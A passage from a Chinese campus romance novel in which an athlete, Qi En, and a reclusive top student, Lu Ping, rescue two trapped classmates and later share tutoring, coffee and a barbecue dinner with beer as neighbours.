“齐,齐恩?是齐恩吗?”里面传来慌乱的呼喊,“我们,我们被困在里面了!”
“别怕,我把这个门撬上去,你们能出来。”
齐恩安抚她们,光洁的额头冒
下一滴滴汗珠。
咬住牙关,她手上使力,没注意拖把杆上的木刺。倒刺划进掌心,血淋淋的红珠窜了出来。
来不及痛呼,因为下一秒,木杆整根断裂。
齐恩惊叫了一声,可闸门的下落戛然而止。
有人用手臂硬生生抬住了它。
卢俜回过头对看齐恩说:
“你受伤了,先站远点。”
齐恩低头,才看到手上红了一片。她顾不得别的,用肩膀抬住另一边,和卢俜一起使力。
闸门缓缓打开,更大的缝隙出现了,钢铁在头顶低声咆哮。齐恩鼻尖的汗液滴在卢俜衣袖。
终于,两个女生艰难地爬出缝隙。
她们心有余悸地看着身后轰然落下的铁门。
齐恩脱了力,四仰八叉地坐在地上,体内的肾上腺素褪下,她感觉手臂重得像被碾过。
齐恩还对卢俜的出现又点意外,他已经架高她的手,“不要放在地上,伤口沾灰会感染。”
“唉,没事没事。”齐恩嗓子都在生烟,眼冒金星,“巧克力……先给我吃一块!”
卢俜看到她甩到一旁的塑料袋,里面装着一板巧克力和几瓶冰水,他拆开铝制的包装纸。
齐恩左手接过,咬一口含在嘴里,黏糊糊、吧唧吧唧地用腮帮子嚼着。并不是好吃的东西,但身体需要糖分,爆发之后的亏空需要能量去弥补。齐恩是运动员,对自己的身体更有数。
也是多亏了她的反应力。
才让两个女生及时获救。
“不然这大夏天,地表温度超四十度,要是被关在里面,不超一个小时就得中暑。”齐恩拿手背擦着下巴的汗,“你们是怎么被困在里面的?要落闸了难道没人提醒你们吗?”
那名告密的女生欲言又止。
另外一个女生:“是方婕做的。”
“方婕说学生会的日志落在里面,让我们课间来取一趟,我们来了,就遇到这样的事。”她后怕地瞧着闸门,“谢谢你和卢俜,多亏你们来了,不然我们要在这里被关一节课了。”
“这么大的事?”齐恩蹙眉,“去政教处!”
“不,不行!”告密的女生脸色惨白。
“她就是为了惩罚我,我跟你说了那些……要是把事情闹大,她肯定还要来对付我……”
齐恩气的想笑,顺带瞥了一眼还支着她右手的卢俜:“瞧瞧。这就是你家方婕做的好事!”
“……我不知情。”卢俜低头,“抱歉。”
他的侧颊一块灰扑扑,方才在闸门上蹭的。
“既然这样,不是更应该跟老师说么?”齐恩对她们说,“有事找老师,这不是玩笑话。”
“算……算了。”告密女生的声音都在打颤,“你不是我们,你不知道的,这件事如果不计较,过去就过去了……方婕的爸爸是校董会的,柯老师……柯老师也不敢公事公办……”
“意思是你们打算息事宁人咯?”齐恩轻嗤一声,“行,你们的事,我不过问了。”
她伸手,拍了拍裤腿上的灰尘,卢俜已经轻车熟路地搀扶住她,使她借力站了起来。
“对了,方婕知道你发聊天记录的事?”
“她只知道我和你说了,但是聊天记录……”
齐恩闻言颔首。
“好,我知道了。”
目送两个女生离
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开,齐恩拧了把锋利的眉心,
她没什么好说的,但也不会后悔施以援手。
每个人有自己处事的方式,有些人习惯隐忍,有些人擅长爆发。齐恩不是凡事都能“忍字头上一把刀”的人,刀架在她脖子上,她当然会不舒服。但她并不厌恶隐忍的人,他们比她想得更不容易,时时刻刻压抑着仇恨,譬如那些所谓的好学生女孩,和眼前不语的卢俜。
他看着她掌心的伤,深棕的眉蹙得很重:
“有根倒刺卡进去了,先把血处理一下。”
齐恩翻转自己的手腕:“我自己来。”
“是右手,你一个人不好搞。”
这家伙,怎么了?齐恩抬眼瞧他,只看到清晰的下颚线,嘿,卢俜不是很抵触肢体接触吗?
他把她的手放到水龙头底下清洗,一开始没有碰到伤口,齐恩问他,为什么会出现在这儿。
卢俜说是自己从图书馆回教室,好啊,明明他也搞翘课这一套,为什么方婕就偏偏逮着他们十七班人薅?越想越生气,齐恩没了好脸色。
“我,自,己,来。”
一字一顿地挣开他。
昨天傍晚说明白了、也说开了,齐恩对此没有多耿耿于怀。即使之后校内校外再碰到卢俜,她也可以笑着和他打一声招呼。只是,再近的邻居也不是朋友。卢俜并不是齐恩的朋友。
她揉搓着手上的灰泥,心里在想事情,并没有注意倒刺的位置,护乱碰到,轻嘶了一声。
“……小心。”卢俜关停了水。
“我带你去医务室包扎。”
“小伤,不需要。”
“你的手上还有倒刺……”卢俜没松手。
“那怎么?你大发慈悲帮我拔出来啊?”
齐恩语气并不好,以为这木头就知难而退了。没想他
说:“那我拔出来,你忍着一点。”
话音未落,卢俜已经有了动作。齐恩意外地“诶”了一声,想阻止已经来不及了。
这卢俜!这档口这么积极做什么?故意的吧?
他二话不说就上手,也不和她打个商量。
齐恩自己拔不会害怕,可别人她不放心。
她下意识紧闭了双眼。
不知过了多久。
“……好了。”
疼痛在逐渐消散,卢俜握住她手腕的力道仍然收束。他的手比她大了好多,掌心是整支手最柔软的地界,他用左手的掌心托住她的手背,固定住她的瑟缩,卢俜不会给人以侵略感。
齐恩睁开眼,气息扑撒在两人接触的区域上。
濡湿的水痕同汗液,青涩的肌肤和阳光亲密。
好像很夏天。
好像很校园。
“你……也不和我说一声。”
齐恩把手背在校裤上擦拭。
“抱歉。”常用的措辞,“你感觉好些吗?”
“不是很痛了。”齐恩提起脚下的塑料袋,“要快点回去了,还给高玟她们带了冰水。”
卢俜也俯身拿起凌乱的书本,齐恩才注意到。因为救人,他也扔了书,和她一样的愣头青。
其实他们也算同一种人吧?
两人一起往教室去,到三楼再分开,齐恩回了班,找袁礼米要了一只创可贴处理手上的伤。谌俞问她怎么弄的,她说是磕碰的。张其薪看了她那只手有点儿久,齐恩的袖口脏兮兮的。
但齐恩就是那种撒谎也面不改色的性子。
更不在乎会不会被人看出端倪。
放学后,谌俞背着书包问她要不要一起回家。不顺路怎么一起回家?齐恩没揭穿他,只笑了笑,推辞说自己今天要值日。
谌俞走后,齐恩擦黑板,瞥见门口的人。
是卢俜,非常规矩的站姿。他先开了口。
“你今天留晚自习吗?”
“不留,回去夜跑。”
卢俜摸着泛红的耳垂。
“我也不留。”
齐恩想了想:“还是留吧,要订正卷子。”
卢俜抿了抿干涩的唇:“……我也留。”
齐恩终于察觉了,她笑起来:“你干嘛啊?”
卢俜略偏过头去,阳光照在毛茸茸的卷发上。
“……等你放学。”
书呆子们
说不高兴,当然是不可能的。
齐恩只能控制住自己别太得瑟。
“怎么呢,卢俜,怎么又要等我回家了?”
卢俜料到她会拿乔,可仍然被侃到脸颊发烫。
“谁等我放学呀?”齐恩面露疑惑,故意略过面前的卢俜,四处张望,“谁啊?谁?”
“……我。”卢俜只好说,“是我等你。”
“等我做什么?”齐恩恍然大悟,“堵我?”
“不是堵你。”卢俜捏紧衣角,“是回家。”
“什么?声音太小了,听不见。”
“等你一起回家!”卢俜豁出去了。
齐恩见他都快社死了,这才不逗弄。她利落地单肩背书包,神似熹贵妃回宫,胜利者的姿态摆足了,才一步步走近,平伸出自己的手:
“小卢子,回聚民宫。”
卢俜不知道这是什么梗,她伸手,他就伸出自己的胳膊给她架。之前齐恩脚没好的时候总是这样,所以此时此刻,卢俜下意识就做了。齐恩还以为他在朝她行礼呢:“免礼,平身!”
卢俜反应过来,窘迫地收手。
两人并肩往教学楼外走去。
“话说恭喜你哦,又是全校第一。”齐恩最佩服他这个,“你是怎么做到的?”
“学就行了。”卢俜并没有过分自谦,“时间、精力、心态,缺一不可的事。”
他又问齐恩:“你这次考得不也挺不错么?”
“也就政治一门。”齐恩觉得全凭运气。
“张其薪才厉害!咱们年级文科第一!”
卢俜知道。张其薪从前在一班成绩就不差。
“那你和他谁成绩更好些?”
“……没什么好比的。”
“诶———说嘛!说给我一个人听就行!”齐恩拿肩膀拱他,“我们悄悄地,打枪滴不要!”
“……应该是我吧。他没有超过我的时候。”
齐恩咋舌,你学神还是你学神,和学霸不止有一点点区别:“咱们卢俜墙也不是白叫的。”
“……什么卢俜墙?”
“你该不会不知道吧?”齐恩笑说,“咱一高的论坛啊,你搜‘卢俜墙’出来的都是。”
卢俜蹙起眉头,齐恩给他科普:“还有说你、方婕还有我三角虐恋的,你平时不看论坛?”
这些人什么都能聊,卢俜说,他不看这些。
“正常啦,酷哥从不回头看爆炸。”
卢俜不懂她说的话,其实很多时候他和齐恩交流都有壁。他不是高玟,如果是高玟,就会指着帖子骂“脑子就是这么看坏掉的”“这些人治好了也是流口水”,然后和齐恩笑作一团。
所以他只是心平气和。
“没有那样的事。”
“什么事?”齐恩在给食堂钟楼的落日拍照。
“我和方婕之间,没有他们传的那些。”
齐恩定定地瞧着他:“你是淡人吧?”
“那又是什么?”卢俜还有些耐心。
“浓人和淡人啊。”齐恩解释,“浓人就是做什么都很有情绪,虽然容易被影响。淡人就是那种人淡如菊、心如止水的人,无论遇到好事坏事都很平和,就像情绪稳定的卡皮巴拉。”
卢俜不知道自己算不算后者。
“感觉你是不太容易急眼的类型。”
卢俜心想,所以你才总是欺负我。
齐恩注意到他哀怨的眼神:“别看我!我可没欺负你啊,那都是开玩笑的,我哪次不顾及你意愿了?别人还说啥,说我摔楼梯之后就一直像大蟒蛇一样死死缠着你,说我在温书记面前构陷你,说我卖惨……拜托!是我欺负你了吗?你自己说说,我什么时候真欺负你了?”
之前酒店那次不算么。
算了。卢俜对自己说。
“你没有欺负我……如果学校里再有人误会,你按自己想的跟他们解释,随便怎么说。”
“你这话说得好听,光我一个人解释又有什么用。”齐恩说,“也得某些人信才行啊。”
“这个事,我和方婕摊明了。”卢俜垂眸,“以后她不会再瞎说那些有的没的了。”
“你就这么水灵灵地和她说了?!”真是中国速度,“这可不像你的作风啊,好学生。”
“没想到会对别人造成影响,是我的问题。”
“别人?那我呢?”齐恩叫嚷。
“感情不是因为顾及我啊!”
“……”
“好吧好吧,算我自作多情了……”齐恩故作抚心,“那你以后不就翘不了课了吗?”
卢俜疑惑道:“这和翘课有什么关系?”
“方婕是会长啊,她不帮你,你怎么翘课?”
“我不用她帮,我有温主任开的长期条。”
“嗬哟你!”齐恩瞪他,“那你一天到晚把兜帽一戴,我还以为你是不正当理由翘课呢!”
“不上课本来就和学校里的规章制度不吻合,不管正不正当,温主任都说过要我低调些。”
“书呆子们!”齐恩翻了一个大大的白眼,“读你的八股文读傻了吧,我要是有长期条,别说上课了,学校我都不见得来。夏天还好,要是大冬天,冷
都能冷死,一点也起不来!”
卢俜不搭理,好在齐恩能自个儿说下去:“而且既然都是翘课自学,干嘛不在家里学啊?”
“温主任不让。”卢俜说,“毕竟是学生。”
“毕竟是学校的活招牌,是吧?”齐恩了然于心,“未来的状元郎,行走的招生简章。但是学校那么多人呢,你不是爱耳根子清静吗?”
“上课时间在图书馆里 ,遇不到什么同学。”
“而且……”卢俜其实没必要说出来。
“学校和家里也没差,都……很安静。”
“你难道就没有体验过交友的乐趣吗?”
和人打交道,很麻烦,卢俜说不知道。
“嘿!那算什么意思!”齐恩夸张地大喊,“我难道不算你的朋友吗?啊?啊?!”
卢俜在齐恩下一次撞他肩膀的时候躲开了。
这是路上,又不是私人场合,干嘛非要这样?
不,也不是在私人场合就可以的意思。而且,朋友才不会……莫名其妙就把卢俜看光光!
“邻居。”他用地缘界定他们之间的关系。
“还有这样的说法,和朋友有什么区别吗?”
“……更近一些。”
“好吧,邻居。”
齐恩喜欢这个解释。
到聚民社区了,学区房唯一的好处就是离学校近,走个十几分钟就到。齐恩这时候已经热得精神恍惚了,喊了卢俜一声,抬脚往小区门口的咖啡店走去:“我们去搞点冰的喝吧。”
卢俜也很热,这是一方面,另一方面是齐恩决定的事通常就立刻执行了,不会给卢俜想办法拒绝的空隙。他们到咖啡店里,小程序点单,卢俜不喜欢喝这些,齐恩看到套餐还是点了。
“送国家羽球队的小挂件呢!”齐恩接过店员递来的周边,漆黑的眼睫遮不住眼底的星光。
“你看,这个是我喜欢的选手,庄羽。”齐恩展示给他,“画的好萌,可爱死了!”
卢俜“嗯”了一声,接过,认真看了一会儿,再递还给她。齐恩又去拿做好的咖啡,“一杯生椰拿铁,一杯燕麦拿铁,你要哪一杯?”
不过她很快又改口:“我要燕麦的,低GI。”
卢俜拿过齐恩挑剩的那一杯,朋友就是喝对方不要的吗?他默默地想,就她这态度,还大言不惭说朋友。喝了一口,味道意外的不错,醇厚甘甜的椰乳香流连舌间,有太妃糖的香味。
“好喝吧?”齐恩得意地朝他挑起浓眉,“喝完回去又可以挑灯夜读了,我们好学生。”
卢俜谢谢她的咖啡,齐恩笑得轻佻。
“小意思呀,我们不是邻居吗?”
两个人边喝冷饮边吹空调,很快降下温来。
“有可以一起喝咖啡解暑的人,还不错吧?”齐恩劝说,“你应该开朗一点,都是高中生,干嘛一天到晚我行我素?本来学习就太好了,性格又怪,就很容易不讨人喜欢,知道吗?”
卢俜心想他本来也不是讨人喜欢的人。
而且何必为了讨他人的喜爱而存在。
“你看你这小猫脸,又噜噜下来了,说你俩句就不乐意,把嘴一瘪,把咖啡喝得那么快。”
卢俜本来喝东西就快,这和耐不耐烦没关系。
他说:“我没有噜噜个小猫脸。”
卢俜喝完了,齐恩还没喝完,坐在对面光线好的角落给周边拍照。他干脆摊出化学笔记本,消化着老师上课讲的反应速率计算题。齐恩拍完照发现他还在学习,气得脖颈青筋暴起:
“咱们都放学了!老哥!你偏要看书内卷是几个意思啊?书里面到底有谁在啊?!”
这梗出自最近很火的一档女性成长主题电视剧,齐恩把刻薄丈夫的形象演得绘声绘色。
卢俜简直是怕她这样了,讷讷地合上书。
“我开玩笑的。”齐恩大咧咧地摆了摆手,“你可以反驳我,说,书中自有黄金屋。”
“好吧。”卢俜说,“书中自有黄金屋。”
“那颜如玉呢?”齐恩嘴角狡黠地勾起。
卢俜迟钝地望着她。
齐恩指了指自己。
“眼前啊!”
喝完咖啡,回居民楼。齐恩到了三楼,卢俜还要再爬一楼。到四楼,酡红的余晖就彻底消失了,好像世界都被拖进深刻的灰色里。明明只是抬了脚,眼前一切的色彩就倏然变成黑白。
这只是他的感官而已,正好落日只打亮三楼的楼道,再往上的台阶没有光线了,仅此而已。
并不是因为即将和繁华事物分别而产生情绪。
卢俜依稀记得,在他很小的时候,喜欢被家长带着出远门、去自己期待已久的地方的感受。
只是去过之后,会产生某种强烈的、筋疲力竭的尽兴感,后来他知道这个叫戒断后遗症。
卢俜的脚步变得有些沉重。
他自己却对此毫无察觉。
“喂,好邻居。”
齐恩喊住他。
回过头的一瞬间,靓丽的红橘金砂撞进眼眶。齐恩单肩挎着包,侧倚着身子,校服在她身上显得有朝气,不像日落,像朝阳冉冉升起。
她光洁如珍珠表面
的脸颊上,眉目棱角分明,太锋利了,却又因那顽劣的笑容而干净澄澈。卢俜一瞬
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间呼吸停滞,出于对美自发的敬畏。
“俗话说,远亲不如近邻,如果有困难的事,欢迎随时来敲我家的门哦。”
她很慷慨。
旖丽是,善意也是,随手给予他人。
即使是像他这样无趣乏味而疏离的人。
卢俜点了点头,由此放任自己的行为,也许他也朝她微笑了一下,也许没有。撕开一道灵魂到躯壳的裂缝,他再次上行,步伐却变轻快。
回到自己的家,卢俜打开灯,客厅缄默的摆设依旧,冰冷而无感。他去冲了个凉,洗完澡做了一会儿《走向IMO》,把目标的页码完成,拍照发给柯老师,再勾选着明天要做的题目。
顺带看了眼时间,已经深夜十一点半了。弄到好晚,每天不都是这样么,卢俜洗了把脸。穿过客厅的时候,他突然停下,悄步走过去,像在骗过谁,透过内窗看向对楼花坛边的房门。
灯还亮着,对门的邻居没睡,在做些什么?
不,这并不是他该关心的事。
她也喝了咖啡,没睡是理所应当的,卢俜沉默地喝着冰茶,翻看手机。单调的朋友圈里突然蹦出来一条新动态,齐恩发的,在咖啡店那会儿。她拍了很多照片,没有自己,只有吧唧。
她管那个叫吧唧,只是铁制的徽章而已。其实她自己作为运动选手也有那种东西吧?偶然听周第提起,她的周边在黄鱼软件上炒得很贵,带亲签的更是天价难求。如果把齐恩关在地下室里签名再拿出去卖,恐怕是暴富的密码。
这样一个耀眼的人就出现在自己身边。卢俜原本没想着和她产生交集,现在却是比旁人亲近的关系。他这样想着,翻看某张照片时发现自己也入镜了,只有一小撮棕色的卷发,不仔细看根本看不出来,或者他本身就在寻找自己的痕迹。配的文案是半眯眼坏笑的小黄豆表情。
非常齐恩。
古灵精怪。
给她点了个赞,算是某种意义上的认同。
卢俜又点进她的朋友圈,里面只有寥寥几条,扔掉拐杖的那一天,她发了一个长长的yeah,其次就是去年冬奥会期间举着奖牌的合影。
和卢俜印象中女生的朋友圈不同,没有自拍,没有落日晚霞,没有晦涩的文案。齐恩的头像就是系统自带的,灰白人影的那种。因为本身是有趣的人,所以再简单也会让人感到好奇。
过了三分钟,齐恩给他发了消息。
“也没睡?还在学习呢大学霸?”
卢俜回:“没有了,打算休息了。”
“我也,数学太难了,学不明白。”
后面跟着一个熊猫头流汗的表情包。
卢俜不知道发什么,好在齐恩从不让话题冷场:“小卢辅导,这道导数大题怎么写啊。”
她随后发来某个题目,应该是高考调研的题,学校规定的复习教材。卢俜说等会儿,手写了大步骤传给她:“第三小问难度有点,目标式化简两次,然后再分情况讨论。它条件给的有点隐晦,联立第二小问的答案还是可以做。”
齐恩老实回答:“我自己想不出来。”
卢俜知道她缺少的是规范化的思路。
“你写的题太少了,多写,会有收获的。”
“谢谢卢太傅。”齐恩发了小皇帝的表情包。
“太傅,明天是周末,你有什么打算吗?”
卢俜说,复习,因为马上就要期末考了。
“那我去你家找你吧,还有几道题不是很懂,想问一下你,都是这次月考数学卷的。”
对方显示正在输入中,齐恩靠着椅子转一圈,以为卢俜肯定又摆出那副不情愿的死出。
没想到应得很快:“不是月考卷也可以问。”
齐恩十分惊喜,连发了好几个感叹号。
“从现在开始我改名叫齐恩(恩师卢俜)。”
无法理解的梗,卢俜索性扯开话题。
“你这么晚还不睡么?”
没想到齐恩立刻弹了个语音电话进来,卢俜迟疑片刻,还是接起。“你听听我新买的这个音响,还可以吧?3D立体环绕效果特别好!”
醇厚的女嗓音流淌着。
英文歌,不知道歌名。
只有一句反复循环的歌词。
I been a nasty girl
卢俜听了一会儿,实话实说:“没听出来,可能现场听的效果很好,但手机扬声器不行。”
“你如果现在来我房间,肯定就能听出来。”齐恩信誓旦旦的,“五位数的价位呢!”
如果,都说了是如果。
卢俜深吸了一口气。
“……早点睡吧。”他说,“熬夜不好。”
齐恩说精神得很,又问他平时什么作息。
“零点左右。”
“周末也是?”
“周末也是。”
“那就快到你睡觉的时间了!”齐恩感慨,“书呆子,快去睡吧!”她立刻挂断了电话。
吵闹声和音乐都被掐灭,像夜间骤熄的焰火。
卢俜起身,从客厅回到卧室,平躺着睡下。
脑海里还回放着那句歌词。
I been a nasty girl
我一直是刁蛮任性的坏女孩
我人不坏
周六,齐恩敲响了卢俜家的房门。
独居的高中生们终于踏入彼此的领土。
“早上坏!”齐恩打了个哈欠。卢俜回了一句早上好,递给她一个还没拆开的女式拖鞋。
“啊,该不会是你一大早去买的吧?”
“也不早了,都快中午了。”
卢俜早上七点起的床。
齐恩揉了揉干涩的眼,坐在沙发上换着拖鞋,缓缓地打量着他的客厅:“好干净好简约啊,看起来像网图一样,没什么生活气息。”
卢俜确实不常待在除了卧室以外的地方。
“有没有零食?”齐恩说,“我没吃早饭。”
卢俜实在没忍住:“你应该吃的是午饭。”
“行了啊。”齐恩翘二郎腿,“你话真密。”
卢俜打开厨房的冰箱,齐恩迫不及待地挤到他身前,自顾自翻找着。家主人心平气和地问:
“你是来吃饭的,还是来问题的?”
“你这儿不管饭啊老师?”齐恩只找到面包,“就这个?这么干巴啊?还有别的吗?”
“你想吃什么?”卢俜拿了瓶冰茶给她。
“家里没什么吃的。”
“没事,凑合一顿吧,我下午还有别的事。”
卢俜其实已经做好被她打扰一整天的准备,她临时有别的事,他下意识问:“什么事?”
“RMG的专访,下午要到文化广场一趟。”
“没事,如果你有别的事,下次也可以问。”
“没事哒没事哒,没事哒!”
齐恩从书包里翻出月考卷,“先开始吧。”
卢俜拿过试卷,“用红笔圈出的这些题?”
“不是。”齐恩嘿嘿一笑,“这些是我自己能写出来的,剩下的才是我不会的。”
真是繁琐的工程量,卢俜拧了把眉心。
不知道一个上午能不能讲完。
“先从选择题开始吧。”卢俜拿起笔,“集合没问题,复数没问题,向量和三角函数……”
“第五题你错了,是计算错误?”卢俜说,“圆锥的体积公式记得吧?就是三分之一。”
齐恩点头,卢俜拿出草稿纸。
“自己再算一遍长点记性。”
真是像模像样的老师,齐恩乖乖接过笔重算。等她算完,卢俜已经把答题卡都翻看一遍。
“我让你带的蓝本2000题,你带了吗?”
“带了带了。”齐恩从书包里拿出教辅。
卢俜接过圈出了几题:“导数做的乱七八糟,你先试试手,看看自己写不写得出来。”
卢俜料想的没错,齐恩很快在第一题卡住了。
“求个导知道,三角函数化简就不知道了?”
“哦哦哦!我怎么感觉有点眼熟呢。”
卢俜无话可说,从最简单的教起吧。很多理所当然的概念技巧,到齐恩这儿都是第一次学。
“还可以这样!那用排除法不都不用算了?”
“常规方法不用,基础没打牢就想着偷懒。”
卢俜是个好老师。有时候齐恩都觉得自己有点蠢,但他只是耐心解答,用没有数学思维的人也能听懂的方式。有的人只习惯向上兼容,但卢俜却能理解她的思路,再把岔路纠正过来。
“哦———”齐恩恍然,“我知道了知道了。”
终于做出一道难题,齐恩高兴得手舞足蹈。
“我看我明年就能去参加数学奥林匹克了!”
是臭屁话,卢俜不会贬她,当然也不会认同。
耗时三小时,总算讲完了选填。
齐恩的脑容量已经告急。
“行了,太傅,让朕缓一缓。”她扶着脑袋,伸着脚靠在沙发上,“现在是几点了?”
“两点。”卢俜问,“你是不是要出发了?”
“没事,这里打车过去很快的。”齐恩说,“你不吃午饭吗?”卢俜说有全麦面包。
“那玩意儿能天天吃吗?难怪这么瘦。”
他很瘦吗,卢俜流露出不认同的神情。
齐恩就提起城市便捷酒店浴室的那一回。
“……行了!”好学生的耳尖倏然红起来。
“不要一直提。”
最终卢俜还是和齐恩一起出门。齐恩回家放了趟书包,换一身得体些的装束再下楼。卢俜在楼底下等她,两个人走出社区,在街口随便吃点。齐恩点了份鸡汤,边喝边打车。
叫到车了,齐恩起身往外走,又折返回来。
“我估计晚上七八点忙完,到时候回聚民。”
她没必要给他报备行程。
卢俜只说了一声好。
齐恩停顿了一会儿,看着低头吃饭的卢俜,见他没有要说话的意思,又开口:“反正你午饭也吃得很晚,如果等得及,就一起吃夜宵吧,当作你给我讲题的答谢。”
这回卢俜多说了几个字:“不用,没什么。”
“不!”齐恩认真地纠正,“你要说,好。”
“……好。”
霸道的人。
齐恩满意地颔首,她转身离开了。推开店门,阳光洒下来,她心情很好,快步往路边去。
在她
转过身的时候,卢俜才敢看她。
笔直的肩,修长的腿,干净利落。
他坐在玻璃橱窗里,心跳变快了些。
他很清楚,齐恩对他的热情有时效性。等到她觉得他无趣了,也许会试着保持些距离吧。
平静地吃完了午饭,卢俜结账离开。
没有直接回家,而是去附近的商超。
他推着购物车往有食物的地方去,不知道齐恩喜欢吃什么,又觉得自己在做没必要的事。他开始有点怀疑自己在想什么,她说面包很干巴,是难以下咽的意思,还是指没什么味道?
他拿出手机搜索,很快有了答案。一段四年前的采访,齐恩稚嫩的脸出现在屏幕上。记者问她喜欢吃的零食,她说吃得最多的是薯片。
薯片,卢俜拿了几袋不同的口味,还有坚果、泡芙、奶酪条。像在做某种采购的任务,莫名其妙就把推车装满了。他去收银台结账。
导购说可以换购零食,卢俜面无表情说随便。
“看来您不爱吃呀,是给家里小孩买的吗?”
齐恩确实很幼稚,这么想着,他赌气地点头。
卢俜最终拎着大包小包的零食回家。
把空荡荡的冰箱填满,他站在客厅的正中央,缓缓扫视四周的家具,从沙发到茶几,从橱柜到墙壁……没什么生活气息吗?卢俜从前没有这么觉得,出租屋不过是个落脚的地方,迟早要搬离,为什么要留下不属于自己的痕迹?
卢俜不再思考这些了。
.
晚上八点,他收到了齐恩的消息。
“我下工了,老哥,出来整点烧烤?”
卢俜刚刷完一套生物卷,摘下鼻梁上的眼镜,揉了揉被压红的地方。夜间出行,他干脆把没度数的平光眼镜放进盒子里,再洗了一把脸。
“你在哪里?”他边下楼边发消息。
“东北烧烤这里。我发定位给你。”
离社区有两公里远,他扫了个共享单车骑。
十分钟后,齐恩见到了卢俜。没戴眼镜,刘海因为汗湿而往上撂,清秀的眉眼有书生气。
“哟。”她眼前一亮,“稀奇啊,好学生,今天舍得把你那格拉斯伊斯摘下来了?”
突然蹦出一句无厘头的中式英语。
还是从齐恩这个中美混血的嘴里出来。
卢俜没忍住,嘴角小幅度翘起。
“你笑了。”齐恩大声地指出。
卢俜在对面坐下,嗯了一声。
“吃什么?”齐恩把油乎乎的菜单推过去,“我点了羊肉串、烤土豆和烤茄子。”
卢俜说都可以,齐恩问你不忌口吗,他想了想,说吃不惯腰子和鞭子,吃不了太辣。
点完菜,齐恩问喝不喝酒。
卢俜说自己以前没喝过。
“没喝过?!”齐恩像见到新物种,“真的假的,啤酒也没喝过吗?一点酒也没沾过?”
得到了否定的回答,齐恩摇头感慨:
“这天底下还有没喝过酒的学生!”
“像我们队里,每次比完赛就是下馆子,和教练队员一起,八成要喝的。”齐恩给自己斟了一杯珠江97纯生,“这边人爱喝这种,我觉得挺浓的,麦芽香气很重,你要不要试一试?”
卢俜迟疑片刻,齐恩已经给他倒了半杯。
“尝尝!”她说,“小猫都知道舔一口。”
卢俜不是小猫,他已经和她纠正了一万次。
抹去唇边酒沫,他说:“有点像面包汽水。”
“是吧?其实挺好喝,配烧烤特别得劲儿!”
酒喝了,菜还没有上,齐恩继续刚才的话题。
“难道你去吃席,亲戚不劝你酒吗?”
“没有。”卢俜摇头,“也没吃过席。”
“和家人过年走亲戚的时候不吃饭?”
“他们也不带我,一般带卢佳去。”
“……天!你这拿的是什么灰姑娘剧本!”
“那你岂不是爹不疼妈不爱的?你爹妈是这边的本地人吗?他们没少过你生活费吧?”
唯独钱是不缺的,“没少过。他们是本地人,但不在这边居住。卢佳在这边上大学。”
“所以那天来找你的,是卢佳的大学朋友?”
“……我也不清楚。”那是卢佳的圈子。
“那她们这些天还有堵你吗?”
“没有了。”
“就是,有齐姐护着你呢,小卢你放心大胆地往前走!”齐恩把胸脯拍得很响,“以后要是被欺负了,就来找我,全聚民最好的邻居!”
“……谢谢。”卢俜还不太习惯被罩的感觉。
“卢佳。”齐恩重复了一遍,“她为什么那么讨厌你啊?难道因为你亲妈是她后妈吗?”
不光是那样。其实原因卢俜大抵是清楚的,然而并不能多说,好在这时候烧烤也端上桌了。
齐恩把铁签朝向中间,这样谁都可以拿到。
她很会照顾人,卢俜意识到。
“你应该不是独生子女?”
“我是独生女,为什么这么问?”卢俜说没什么,齐恩又
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解释,“但我有一个妹妹,国青队一个宿舍的,小我几岁而已。那时候
也很小,大家都是需要照顾的年龄,就把她当妹妹。”
“在队里训练很累吗?”
“正常的,大家都累。”
“ 你家里人会……给你支持吗?”
“当然了!我爸超级支持我的好嘛!”
她和他不一样,卢俜意识到。在爱贯满盈的环境下成长的人,和在无人问津的窘境下生长的人,又不一样。齐恩从不会担心别人讨厌她,就像亿万富翁不在乎自己几秒钟挣不到钱。
“……那很好。”卢俜只好埋头吃起了东西。
“多吃点,小卢猫。”齐恩说,“太瘦了。”
还是有点辣,齐恩能吃,卢俜不太可以。齐恩说要不要买点水,他说不用,仰起头把冰镇的啤酒一饮而尽。齐恩又给他倒满,这次他没再说什么喝不了,好像无形中放下了许多戒备。
“……那你为什么一个人来这里读书?”
“其实我爸就在隔壁省会工作啦。”
离得也不远,一百多公里的车程。
“他平时周末会来看你吗?”
“很少,一般是我去看他,他工作比较忙。”
齐恩从头到尾没提过她妈妈,结合她英语并不好,发音也不大标准,卢俜猜测她家里也有些状况,于是没有多问,只是换了话题:“你是怎么发现这家店的?离我们小区有点远。”
“高玟给我安利的,说这家烧烤很正宗。”
除去他,她还有许多朋友,卢俜抿了抿唇。
他也听闻学校食堂里两个班级之间的事。
“一班和十七班关系一直不太好……如果你怕受到影响,可以在学校里适当保持距离。”
齐恩听罢露出犯难的表情:“还是不要了吧,十七班的同学都对我挺好的。”
“……我是说我。”
卢俜给自己倒一杯。
“你?”齐恩斜睨着他。
“一只小猫,有啥可怕?”
知道卢俜不懂,她直接播放一段音频:“老鼠怕猫,这是谣传!一只小猫,有啥可怕?壮起鼠胆,把猫打翻!千古偏见,一定推翻!”
卢俜简直服了她了。
“不要再说我是猫了。”
“安啦安啦,你可是学神喵啊,学神喵就要有学神喵的傲骨,小说里你这种人设都是妥妥的男主角啊!冷漠的家,恶毒的姐,破碎的他。齐恩耸肩,“而且就算有人乱说又咋样,还把别人的嘴堵住吗?认识一个人如果只靠三言两语,那也太有失偏颇,这种人不深交也罢。”
“……你是这么想的?”
卢俜再次将酒一饮而尽。
“有时候越了解一个人,往往只会更厌恶。”
卢俜把塑料酒杯捏得很紧,他有心事。
“但你肯定不是那样的人。”
齐恩直勾勾盯着他的眼。
“……你不能肯定。”
“我敢肯定。”
“因为你是猫。”
“……”
两个人没把烧烤吃光,酒倒是喝完了。齐恩处于微醺状态,卢俜醉得有点厉害。齐恩看出来了,他说了很多平时根本不会说出口的话。
喝得人飘起来,显然只能打车回家了,好在路边有很多出租车经过,齐恩随手拦了一辆。
回到聚民社区,卢俜走路已经有点儿不稳了,齐恩笑话他,又问他喝醉的感觉如何。
“不是醉。”卢俜嘴硬,“就是有点飘。”
“那还不是醉?”齐恩被他莫名撞了一下,差点儿绊到,不可置信,“你好好走路!”
卢俜没应她,离她稍微远了一点,又往护栏的方向贴过去。“诶诶!”齐恩拉住他的胳膊,“哥,那边是机动车道!你是一个行人啊!”
“而且,你打转向灯了吗,就变道?”
卢俜笑了一下,走得稍微稳一点了。
把好学生给灌醉了,齐恩还有点负罪感。卢俜走路和醉醺醺的小猫一样,明明没喝多少,酒量奇差,她怀疑他真是一只小猫,没开玩笑。
又不亲近人类,又不爱出门,还很傲娇。
